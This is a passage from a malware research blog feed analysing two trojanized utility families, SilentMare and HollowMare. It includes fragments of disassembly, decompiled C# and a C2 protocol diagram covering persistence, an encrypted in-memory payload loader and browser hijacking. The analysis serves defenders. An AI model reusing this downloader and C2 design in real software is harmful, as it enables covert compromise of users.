&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;POR&lt;/span&gt; &lt;span class="no"&gt;XMM0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="no"&gt;xmmword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;DAT_1865e280&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;; 17f36440 66 0f eb
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;SUBSD&lt;/span&gt; &lt;span class="no"&gt;XMM0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;DAT_1865e270&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;; = 4330000000000000h ; 17f36448 f2 0f 5c
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;CVTSD2SS&lt;/span&gt; &lt;span class="no"&gt;XMM0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="no"&gt;XMM0&lt;/span&gt; &lt;span class="c1"&gt;; 17f36450 f2 0f 5a c0
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;DIVSS&lt;/span&gt; &lt;span class="no"&gt;XMM0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;DAT_18d899dc&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;; 17f36454 f3 0f 5e
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;MOVSS&lt;/span&gt; &lt;span class="no"&gt;dword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;ESI&lt;/span&gt; &lt;span class="err"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="no"&gt;XMM0&lt;/span&gt; &lt;span class="c1"&gt;; 17f3645c f3 0f 11
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;PUSH&lt;/span&gt; &lt;span class="no"&gt;SW_SHOWNORMAL&lt;/span&gt; &lt;span class="c1"&gt;; 17f36461 6a 01
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;PUSH&lt;/span&gt; &lt;span class="no"&gt;EBX&lt;/span&gt;&lt;span class="err"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="no"&gt;DAT_fffffff8&lt;/span&gt; &lt;span class="c1"&gt;; 17f36463 53
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;CALL&lt;/span&gt; &lt;span class="no"&gt;dword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[-&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="no"&gt;USER32.DLL&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="no"&gt;ShowWindow&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;; 17f36464 ff 15 78
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;PCMPEQD&lt;/span&gt; &lt;span class="no"&gt;XMM0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="no"&gt;XMM0&lt;/span&gt; &lt;span class="c1"&gt;; 17f3646a 66 0f 76 c0
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;MOVDQU&lt;/span&gt; &lt;span class="no"&gt;xmmword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;EBP&lt;/span&gt; &lt;span class="err"&gt;+&lt;/span&gt; &lt;span class="no"&gt;local_7c&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]],&lt;/span&gt;&lt;span class="no"&gt;XMM0&lt;/span&gt; &lt;span class="c1"&gt;; 17f3646e f3 0f 7f
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;LEA&lt;/span&gt; &lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="err"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="no"&gt;local_7c&lt;/span&gt;&lt;span class="p"&gt;,[&lt;/span&gt;&lt;span class="no"&gt;EBP&lt;/span&gt; &lt;span class="err"&gt;+&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;0x78&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;; 17f36473 8d 45 88
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;PUSH&lt;/span&gt; &lt;span class="no"&gt;eax&lt;/span&gt; &lt;span class="c1"&gt;; 17f36476 50
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;PUSH&lt;/span&gt; &lt;span class="no"&gt;EBX&lt;/span&gt;&lt;span class="err"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="no"&gt;DAT_fffffff8&lt;/span&gt; &lt;span class="c1"&gt;; 17f36477 53
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;CALL&lt;/span&gt; &lt;span class="no"&gt;dword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[-&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="no"&gt;USER32.DLL&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="no"&gt;GetWindowRect&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;;&lt;/span&gt; &lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="no"&gt;f36478&lt;/span&gt; &lt;span class="no"&gt;ff&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt; &lt;span class="mi"&gt;14&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;If no window is found, it starts a new browser instance using the command
provided by the caller. After the actions have been executed, the window is
restored or closed. This way, the computer user should be unaware of what has
happened.&lt;/p&gt;
&lt;/div&gt;
&lt;/details&gt;</description></item><item><title>Two Trojan Families Trotting in Through Google Search Ads</title><link>https://research.intezer.com/blog/2026/07/two-trojan-families/</link><pubDate>Mon, 27 Jul 2026 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2026/07/two-trojan-families/</guid><description>
&lt;details class="hx:last-of-type:mb-0 hx:rounded-lg hx:bg-neutral-50 hx:dark:bg-neutral-800 hx:p-2 hx:mt-4 hx:group" &gt;
&lt;summary class="hx:flex hx:items-center hx:cursor-pointer hx:select-none hx:list-none hx:p-1 hx:rounded-sm hx:transition-colors hx:hover:bg-gray-100 hx:dark:hover:bg-neutral-800 hx:before:mr-1 hx:before:inline-block hx:before:transition-transform hx:before:content-[''] hx:dark:before:invert hx:rtl:before:rotate-180 hx:group-open:before:rotate-90"&gt;
&lt;strong class="hx:text-lg"&gt;AI Generated Summary&lt;/strong&gt;
&lt;/summary&gt;
&lt;div class="hx:p-2 hx:overflow-hidden"&gt;
&lt;ul&gt;
&lt;li&gt;We are documenting two malware families, &lt;em&gt;SilentMare&lt;/em&gt; and &lt;em&gt;HollowMare&lt;/em&gt;, that
are spreading via Trojanized utility applications such as PDF converters and
ZIP tools.&lt;/li&gt;
&lt;li&gt;SilentMare is a downloader that serves as a beachhead for future compromises.
We have been tracking it back to 2024, across three different generations.&lt;/li&gt;
&lt;li&gt;We have not been able to retrieve a payload from any of the SilentMare C2
servers, so the threat actor&amp;rsquo;s end goal remains unknown.&lt;/li&gt;
&lt;li&gt;SilentMare swaps out the implementation language between generations (C#/C++,
Rust, F#, Python via PyInstaller, and C++) but the operational pattern stays
the same: a custom installer, a scheduled task, an updater that checks in
once a day, and an AES-encrypted .NET payload that is loaded directly from
memory.&lt;/li&gt;
&lt;li&gt;HollowMare is a PUA whose only goal is to force-install a browser extension
or hijack the user&amp;rsquo;s default search engine. The installer does the malicious
work itself, and there is no second stage.&lt;/li&gt;
&lt;li&gt;HollowMare uses two techniques to modify the browser: driving the browser
window with synthetic keystrokes, or overwriting a file in the browser&amp;rsquo;s
profile folder with a version provided by the C2 server.&lt;/li&gt;
&lt;li&gt;Both families are delivered via custom installers that create desktop
shortcuts, register an uninstaller, time-stomp the PE timestamp, and
obfuscate strings to hide their activity from static analyzers.&lt;/li&gt;
&lt;li&gt;The application-hosting infrastructure for both families overlaps, and the
signing certificates are issued to similar entities based in the same city
and the neighboring cities. This is not enough to conclude that the same
threat actor is behind both families.&lt;/li&gt;
&lt;li&gt;Our view is that these applications have no reason to be in an enterprise
environment and should be treated as malware. Even when they provide a
functional feature, the operation is performed on a server, so the user&amp;rsquo;s
files are shared with an untrusted third party.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;
&lt;h2&gt;Introduction&lt;span class="hx:absolute hx:-mt-20" id="introduction"&gt;&lt;/span&gt;
&lt;a href="#introduction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;During the second half of 2025, we saw a surge of reports on malicious &amp;ldquo;fake&amp;rdquo;
applications. Most of these applications were for PDF modifications or file
conversion tools. They are targeting users who are looking for simple utilities
to get their work done, for example, to merge two PDF files into a single PDF.
This user is more likely an enterprise user than a home user. While many of
these applications provide the functionality, they are the classic definition
of a &lt;em&gt;Trojan Horse&lt;/em&gt;. Researchers at GData called out the
&lt;a href="https://www.gdatasoftware.com/blog/2025/08/38247-justaskjacky-ai-trojan-horse-comeback"target="_blank" rel="noopener"&gt;comeback&lt;/a&gt;
of the &lt;em&gt;Trojan Horse&lt;/em&gt; in one of their blog posts on this topic. TrendMicro is
&lt;a href="https://www.trendmicro.com/en_us/research/25/i/evilai.html"target="_blank" rel="noopener"&gt;hypothesizing&lt;/a&gt;
that threat actors are using AI coding tools to create these fake applications.
We don’t disagree with this hypothesis, since AI coding tools make it very easy
to create &amp;ldquo;shallow&amp;rdquo; applications that hide malicious behavior.&lt;/p&gt;
&lt;p&gt;One of the reports that set off the hunt for trojanized applications was the
report on
&lt;a href="https://blog.lukeacha.com/2025/06/suspicious-recipe-app.html"target="_blank" rel="noopener"&gt;TamperedChef&lt;/a&gt;.
&lt;a href="https://blog.dingusxmcgee.com/blog/2025/06/06/Recipe-For-Adware.html"target="_blank" rel="noopener"&gt;TamperedChef&lt;/a&gt;
was a trojanized recipe app that used a covert command and control (C2)
communication channel. Unfortunately, no one has publicly reported what the
final payload delivered was. Maybe the threat actor is the only one that knows
what the intended payload was. Later another covert C2 channel
&lt;a href="https://www.guidepointsecurity.com/blog/ai-exposes-homoglyph-hustle/"target="_blank" rel="noopener"&gt;was found&lt;/a&gt;
to be used by the calendar application Calendaromatic. This sparked an interest
in the industry to find more interesting Trojans, and others have been found.&lt;/p&gt;
&lt;p&gt;Some of these findings have been misattributed to TamperedChef. Unfortunately,
&lt;em&gt;TamperedChef&lt;/em&gt; has become the noun used to describe this type of trojanized
application, even though some are very different from TamperedChef. One of
these families is &lt;em&gt;BaoLoader&lt;/em&gt;. One of the first reports on a trojanized
application with BaoLoader was reported on by
&lt;a href="https://www.truesec.com/hub/blog/tamperedchef-the-bad-pdf-editor"target="_blank" rel="noopener"&gt;Truesec&lt;/a&gt;.
Expel later
&lt;a href="https://expel.com/blog/the-history-of-appsuite-the-certs-of-the-baoloader-developer/"target="_blank" rel="noopener"&gt;identified&lt;/a&gt;
the trojanized application as BaoLoader. We agree with Expel&amp;rsquo;s assessment that
this is not TamperedChef. The way the malware in the AppSuite PDF Editor works
is very different from TamperedChef. The &amp;ldquo;warhead&amp;rdquo; is not retrieved via a
covert C2 channel. It&amp;rsquo;s part of the installation. GData provided a detailed
analysis of the malware in a
&lt;a href="https://blog.gdatasoftware.com/2025/08/38257-appsuite-pdf-editor-backdoor-analysis"target="_blank" rel="noopener"&gt;report&lt;/a&gt;
they released in August 2025.&lt;/p&gt;
&lt;p&gt;In this report, we are documenting the two malware families &lt;em&gt;SilentMare&lt;/em&gt; and
&lt;em&gt;HollowMare&lt;/em&gt; which are spreading via trojanized applications. SilentMare shares
the similarity of serving as a beachhead with TamperedChef. Unfortunately, we
haven&amp;rsquo;t been able to retrieve the payload, so we don&amp;rsquo;t know exactly the threat
actor&amp;rsquo;s objective. The second family, HollowMare, is something that would more
likely be classified as a potentially unwanted application (PUA). It doesn&amp;rsquo;t
provide a functional application. Instead it hijacks the search engine in the
user&amp;rsquo;s browser or installs a browser extension.&lt;/p&gt;
&lt;p&gt;Our view is that these products have no reason to be in an enterprise
environment and should be treated as malware. From the surface, it&amp;rsquo;s not
possible for a user to determine if the application that they are downloading
contains a stealer, a beachhead, or something that just hijacks their default
search engine in the browser. When they provide a functional application, our
findings are that they do not perform the operation offline. Instead the
applications serve as thin clients that send the files to a server to perform
the operation. This means that the files are shared with an untrusted third
party.&lt;/p&gt;
&lt;h2&gt;SilentMare&lt;span class="hx:absolute hx:-mt-20" id="silentmare"&gt;&lt;/span&gt;
&lt;a href="#silentmare" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;SilentMare is a malware family that is currently getting misidentified as a
PUA. Based on our analysis, we are classifying this family as a downloader that
serves as a beachhead for future compromises. The malware is marketed to users
as utility tools via advertisements, such as PDF converters. While the
application provides the user with some options to convert files to PDFs, none
of the actions are performed on the user&amp;rsquo;s machine. Instead, these applications
are simple web clients that upload the files to a server for conversion. In
enterprise environments, these applications should never be allowed, as users
of these products are exfiltrating internal documents to an unknown entity. In
addition, SilentMare is sitting and waiting for a payload to execute from the
malware operator.&lt;/p&gt;
&lt;p&gt;We have been tracking SilentMare activity back to 2024, and it was still active
at the end of 2025. Throughout this time period, we have seen three different
generations. It is possible the activity goes back even further. In these
generations, the coding language used sometimes changes but certain tactics are
consistent, allowing us to connect them. It all starts with a custom installer.
In the first and second generations, the installers were signed with
extended-validation (EV) certificates. These EV certificates were all issued to
Israeli companies with a base in Tel Aviv or neighboring cities. The most
recent generation does not use signed files.&lt;/p&gt;
&lt;p&gt;The installer has two sets of goals: install the application and set up the
updater. The updater is what serves as the beachhead. The application and the
updater are installed in a folder under &lt;code&gt;%LOCALAPPDATA%&lt;/code&gt; or &lt;code&gt;%APPDATA%&lt;/code&gt;,
depending on whether the installer runs with administrator permissions. Each
installation is tracked using a generated GUID stored in the application
folder. The timestamp of when the file that stores the GUID was created is used
as an installation timestamp. This information is sent to the update server
every time the updater runs. The updater is executed, usually once a day, via a
scheduled task that was created by the installer.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt; Installer executed
├── Install updater to %APPDATA%
├── Generate GUID
│ └── Store GUID in app folder
├── Create scheduled task to run updater
└── Schedule task runs daily
└── Executes updater
├── Sends GUID and install timestamp to C2
└── Checks for payload from C2
└── Decrypts and executes the .NET assembly from memory&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;In addition, the installer creates a desktop shortcut and adds an entry to
&lt;code&gt;HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\&amp;lt;ProductName&amp;gt;&lt;/code&gt; so the
application can be uninstalled using Windows&amp;rsquo; uninstall functionality. While
the installer adds a specific uninstaller, it doesn&amp;rsquo;t fully uninstall itself.
It just removes the desktop shortcut and the registry entry. Instead of
removing the updater and the application, the uninstaller phones home,
informing the operator that the application has been uninstalled. All the
telemetry it sends back is encrypted using a short XOR key.&lt;/p&gt;
&lt;p&gt;Telemetry is collected at multiple steps as part of its operation, including by
the updater. SilentMare uses a set of three domains for each application. The
first domain is the &amp;ldquo;app&amp;rdquo; domain. This is the user-facing domain. It hosts a
website where the application is promoted and downloadable. Traffic to these
sites comes from Google search ads. The second domain is the &amp;ldquo;C2&amp;rdquo; domain for
the installer, and the third domain is the &amp;ldquo;C2&amp;rdquo; domain for the updater.&lt;/p&gt;
&lt;p&gt;The updater checks in with its C2 to see if a payload is available to be
executed. If it gets an authorization token, it downloads the payload from the
same C2 server. The payload is encrypted with AES, and the updater expects it
to be a .NET file. The decrypted payload is executed directly from memory
without writing anything to disk.&lt;/p&gt;
&lt;p&gt;The diagram below shows the communication with the updater&amp;rsquo;s C2 server. The
diagram is based on the flow of the most recent version, but the flows are very
similar across all other versions. First, the updater sends the installation
identifier, a current timestamp, and the installation timestamp. The C2 server
responds with an auth token if the next stage should be downloaded and
deployed. The authentication token is added to the &lt;code&gt;Authorization&lt;/code&gt; header in a
request to another path. The server returns an AES-CBC encrypted payload that
is either &lt;em&gt;Base64&lt;/em&gt; or &lt;em&gt;ASCII85&lt;/em&gt; encoded, depending on the version. If the
payload is successfully decoded and decrypted, the updater sends a status
update to the C2 server. This data is XOR-encrypted using an embedded key. The
payload is loaded and executed. If the execution fails, the failure is reported
back to the C2 server via the telemetry. As part of our investigations, we
haven&amp;rsquo;t been able to retrieve a payload from the C2 server, so the end goal
remains unknown.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt; &amp;#43;-------------------&amp;#43;
| Host Fingerprint |
| (sub_14000F470) |
&amp;#43;--------&amp;#43;----------&amp;#43;
| JSON: {&amp;#34;currtm&amp;#34;:&amp;#34;...&amp;#34;,&amp;#34;tid&amp;#34;:&amp;#34;...&amp;#34;,&amp;#34;tinst&amp;#34;:&amp;#34;...&amp;#34;}
v
&amp;#43;-------------------&amp;#43; POST /login &amp;#43;------------------&amp;#43;
| C2 Orchestrator | -------------------------&amp;gt; | domenget.com |
| (sub_1400040C0) | GatewayClient/5.0 | |
| | X-Request-Type: data | Response: |
| | &amp;lt;------------------------- | Auth token |
| | &amp;#43;------------------&amp;#43;
| |
| Parse token | POST /post
| Build JSON | -------------------------&amp;gt; &amp;#43;------------------&amp;#43;
| Add Bearer auth | Authorization: Bearer | domenget.com |
| | X-Request-Type: view | |
| | &amp;lt;------------------------- | Response: |
&amp;#43;--------&amp;#43;----------&amp;#43; | Encrypted .NET |
| | assembly |
| ASCII85 -&amp;gt; AES-CBC decrypt -&amp;gt; B64 decode
v
&amp;#43;-------------------&amp;#43;
| CLR Loader | POST /pdata (metrics)
| (sub_140004F50) | ------------------------------------------&amp;#43;
| | Metrics/4.0, text/plain |
| Loads &amp;amp; executes | Body: Base64(XOR(URLEncode(telemetry))) |
| .NET assembly | v
| in-process | &amp;#43;------------------&amp;#43;
&amp;#43;-------------------&amp;#43; | domenget.com |
| /pdata (one-way) |
On .NET exceptions: &amp;#43;------------------&amp;#43;
&amp;#43;-------------------&amp;#43;
| Exception Handler | POST /pdata
| (sub_140062651 / | -----&amp;gt; domenget.com/pdata
| sub_140062796) | XOR&amp;#43;B64 encrypted error
&amp;#43;-------------------&amp;#43;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;The 2024 Era&lt;span class="hx:absolute hx:-mt-20" id="the-2024-era"&gt;&lt;/span&gt;
&lt;a href="#the-2024-era" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The earliest version of SilentMare that was still active in 2025 dates back to
the second half of 2024. That meant that they had been active for almost a
year. The two trojanized applications are &lt;em&gt;PDF Skills&lt;/em&gt; and &lt;em&gt;Zip This&lt;/em&gt;. While
one is a PDF converter tool and the other is a ZIP archiving tool, they are
almost identical under the hood.&lt;/p&gt;
&lt;p&gt;Both applications come packaged in a custom installer written in .NET. The
installer checks with the installer C2 server if SilentMare should be installed
on the machine. This era&amp;rsquo;s installer tries to run with administrator
permission, by re-launching and prompting the users for UAC, so it can install
into &lt;code&gt;%APPDATA%&lt;/code&gt; instead of &lt;code&gt;%LOCALAPPDATA%&lt;/code&gt;. Additionally, it checks and adds
a global ID into the file &lt;code&gt;%APPDATA%\SMCR\userId.txt&lt;/code&gt;. This file is used by
both &lt;em&gt;PDF Skills&lt;/em&gt; and &lt;em&gt;Zip This&lt;/em&gt; to identify &amp;ldquo;returning&amp;rdquo; users.&lt;/p&gt;
&lt;p&gt;The updater component is made up of two parts: an executable and a DLL file.
The files contain mixed managed (C#) and unmanaged (C++) code. Most of the
logic is implemented in the DLL file. The updater sends the install identifier
and the installation timestamp to the update C2 server. If it gets content
back, it expects it to be another .NET executable that is AES-256-CBC
encrypted. The IV is the first 16 bytes of the data returned by the C2 server,
while the key is generated by the updater and sent to the server as part of the
initial request. The decrypted executable is loaded into the process directly
from memory without writing anything to disk.&lt;/p&gt;
&lt;p&gt;Most of the update process stays the same between different eras. The major
changes observed are around the sources of the key and the IV.&lt;/p&gt;
&lt;h3&gt;The August 2025 Era&lt;span class="hx:absolute hx:-mt-20" id="the-august-2025-era"&gt;&lt;/span&gt;
&lt;a href="#the-august-2025-era" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;In this era, all of the technology has been swapped out. It appears that the
threat actor is maintaining multiple stacks. For example, &lt;em&gt;Easy 2 Convert&lt;/em&gt; uses
a custom Rust-based installer, while &lt;em&gt;Convert Mate&lt;/em&gt;, with a build four days
later, has a custom installer written in F# and C#. While they are different
implementations, they share the same behavior between themselves, many going
back to the previous era. Some changes in this era are the removal of the UAC
elevation and the global ID. Instead, a check for the Chrome browser has been
added. The updater component is only installed if Chrome is available on the
machine. This moves the decision logic of installing SilentMare away from the
C2 server and instead to the installer.&lt;/p&gt;
&lt;p&gt;While these two applications have two completely different installers, the
updater is essentially identical. The malware author has moved away from using
the C#/C++ hybrid EXE-DLL combo to instead use a component written in F#.
Another change is the AES key and the IV. Instead of generating a random key
with each request, the updater sends the installation timestamp and a current
timestamp to the C2 server. The payload is encrypted with the key being the
SHA256 hash of the installation timestamp and the IV being the MD5 hash of the
&lt;em&gt;current&lt;/em&gt; timestamp sent in the authentication request. The code-snippet below
shows extracted pseudo-code of this logic.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c#" data-lang="c#"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;SessionInfoGatherer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Code that gathers install tracking data.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="n"&gt;SessionInfo&lt;/span&gt; &lt;span class="n"&gt;GetSessionInfo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;SessionInfo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;getInstallDate&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;getUserID&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;internal&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;getInstallDate&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
